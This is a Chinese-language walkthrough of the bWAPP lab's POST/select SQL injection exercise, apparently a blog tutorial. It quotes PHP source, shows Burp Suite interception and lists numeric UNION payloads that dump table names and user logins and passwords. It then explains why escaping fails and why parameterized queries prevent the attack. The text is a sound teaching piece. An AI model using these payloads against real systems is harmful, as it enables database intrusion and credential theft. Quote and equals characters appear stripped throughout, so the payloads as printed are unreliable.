摘要本文是 bWAPP 靶场系列的第十六篇聚焦于 SQL Injection (POST/Select)POST 型下拉选择框 SQL 注入。页面看起来和第十四篇GET/Select一模一样区别只是请求方式从 GET 变成了 POST。我们将通过源码分析和实战演示搞清楚数字型注入在 POST 下的玩法以及为什么 Medium 级别的防护依然形同虚设。一、前言功能很简单选一部电影点 Go显示电影详情。和第十四篇GET/Select功能一模一样唯一的区别是请求从 GET 变成了 POST。所以这篇不长重点是讲清楚POST 请求下怎么做注入以及Medium 级别为什么又防不住。二、先看一眼源码还是老规矩先看核心代码。// sqli_13.phpLow 和 Medium 级别用的文件 if(isset($_POST[movie])) { $id $_POST[movie]; $sql SELECT * FROM movies; if($id) { $sql. WHERE id . sqli($id); } $recordset mysql_query($sql, $link); // ... 显示结果 ... $row mysql_fetch_array($recordset); // 显示这一行的数据... }sqli()函数的处理逻辑function sqli($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 不处理直接返回 break; case 1 : // Medium $data sqli_check_2($data); // mysql_real_escape_string() break; default : $data no_check($data); break; } return $data; }High 级别会自动跳转到sqli_13-ps.php那个文件用了参数化查询后面再说。关键点这里id是数字SQL 语句里没有引号包裹它。这就是数字型注入的特征。但选择型只显示一行——你选了哪部电影就显示哪一部。源码逻辑和第十四篇几乎一样区别只是$_GET[movie]换成了$_POST[movie]。三、Low 安全级别3.1 怎么在 POST 请求里改参数GET 型注入你直接在地址栏改 URL 就行但 POST 型不行你得拦截请求。用 Burp Suite 的话打开 BurpProxy → Intercept 设为On在页面上选一部电影点 GoBurp 会拦截到这个 POST 请求在请求体里找到movie1改成你想要的 payload点 Forward 放行不想用 Burp 的话浏览器 F12 → Network 标签找到请求右键 → Edit and Resend也能改。3.2 动手试试先正常用一下选一部电影点 Go页面显示电影详情。URL 不会变因为参数在请求体里但页面内容变了。然后开 Burp 拦截选电影点 Go拦截请求后把movie1改成movie-1 OR 11由于只显示一行数据所以我们用id-1这个不存在的值去测试然后进行恒假测试movie-1 AND 12通过测试确认数字型 SQL 注入漏洞存在。3.3 获取数据UNION 注入先确定列数。Burp 里改movie参数movie-1 UNION SELECT 1,2,3,4,5,6,7返回正常说明是 7 列。然后获取数据库名movie-1 UNION SELECT 1,database(),3,4,5,6,7页面显示数据库名。获取表名movie-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()获取用户表字段movie-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_schemadatabase() and table_nameusers获取用户数据movie-1 UNION SELECT 1,group_concat(login),group_concat(password),4,5,6,7 FROM users和第十四篇的操作基本一模一样唯一的区别是参数在 POST 请求体里需要用 Burp 改。四、Medium 安全级别4.1 试一下切到 Medium开 Burp 拦截发送movie-1 OR 11 → 显示影片恒真 payload movie-1 AND 12 → 页面空白无影片恒假 payload结果确认数字型 SQL 注入漏洞存在。接下来步骤基本和low级一样1、获取列数和显示位 movie-1 UNION SELECT 1,2,3,4,5,6,7actiongo 2、获取数据库名 movie-1 UNION SELECT 1,database(),3,4,5,6,7actiongo 3、获取表名 movie-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()actiongo 4、获取字段名 movie-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE%20table_schemadatabase() and table_name0x7573657273actiongo 5、获取用户数据 movie-1 UNION SELECT 1,GROUP_CONCAT(CONCAT(login,0x3a,password)),3,4,5,6,7 FROM usersactiongo4.2 为什么 Medium 还是防不住Medium 调用的是sqli_check_2()也就是mysql_real_escape_string()。这个函数只转义特殊字符引号、反斜杠等对纯数字字符串完全不处理。你传 -1 OR 11里面没有引号、没有反斜杠mysql_real_escape_string()看了看说“这串东西没啥需要转义的”然后原样返回。于是 SQL 还是变成了WHERE id -1 OR 11注入成功。一句话总结mysql_real_escape_string()只防字符串型注入对数字型注入无效。因为数字型注入根本不需要引号。4.3 那要怎么防要么用类型强转$id intval($_POST[movie]);要么用参数化查询High 级别用的方案。五、High 安全级别切到 High你会发现页面其实跳到了sqli_13-ps.php。看这个文件的代码$sql SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id ?; if($stmt $link-prepare($sql)) { $stmt-bind_param(s, $id); $stmt-execute(); // ... }用了?占位符然后用bind_param()绑定参数。这就是参数化查询。不管你在 POST 里传什么$id只会被当成数据去匹配id字段永远不会被当作 SQL 代码执行。所以不管你传1 OR 11还是1 UNION SELECT都只会去匹配一个叫做1 OR 11的电影 ID当然不存在然后返回“No movies were found!”。六、三种级别对比级别用的函数能防住吗原因Lowno_check()不能直接拼接完全没过滤Mediummysql_real_escape_string()不能只转义引号数字型注入不需要引号High参数化查询能SQL 和数据分离从根本上杜绝七、总结GET与POST请求方式并不会决定SQL注入漏洞是否存在漏洞风险由后端代码的输入处理逻辑决定GET注入与POST注入的底层原理完全一致二者仅参数修改手段存在区别GET注入可直接修改浏览器URL参数POST注入需要借助抓包工具修改请求数据包。数字型SQL注入无需依靠单引号完成闭合隐蔽性更强不少开发人员误以为mysql_real_escape_string()能够抵御注入攻击但该函数仅针对引号、反斜杠等特殊字符转义面对不存在引号载荷的数字型注入无法起到防护效果。各类转义函数均存在防护局限性防御SQL注入最根本、可靠的方案是采用参数化预编译查询该技术将SQL语句结构与用户输入数据相互隔离从底层消除SQL拼接带来的注入风险因此不必依赖各类字符转义函数优先使用参数化查询是抵御SQL注入最优选择。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。